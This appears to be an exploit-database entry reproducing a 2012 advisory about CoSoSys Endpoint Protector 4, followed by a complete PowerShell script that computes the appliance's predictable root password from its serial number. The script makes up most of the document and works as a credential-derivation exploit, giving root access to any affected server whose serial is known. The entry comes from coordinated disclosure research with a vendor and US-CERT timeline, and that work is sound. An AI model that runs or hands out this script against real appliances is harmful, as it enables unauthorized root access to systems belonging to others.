source: https://www.securityfocus.com/bid/55570/info CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability. Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances. CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected. function Get-EPPPassword { <# .Synopsis Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers. Author: Chris Campbell (@obscuresec) License: BSD 3-Clause .Description Get-EPPPassword Timeline: discovered 3 Mar 2012 reported to vendor 12 Jun 2012 reported to US-CERT 15 Jul 2012 released 17 Sep 2012 .Example Get-EPPPassword -Serial 123456789 .Link http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html #> Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial) #function to calculate sums from serial number function GetSerialSum { if ($Serial.Length -ne 9) { Return "EPP Serial Number is 9 digits" } else { #convert $serial to an array of integers [int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"} } foreach ($Number in $SerialArray) { $Sum += $Number } Write-Output $Sum } #function to calculate epproot password function GetPassword { Write-Output "eroot!00$Sums`RO" } $Sums = GetSerialSum GetPassword } Get-EPPPassword -Serial 135792468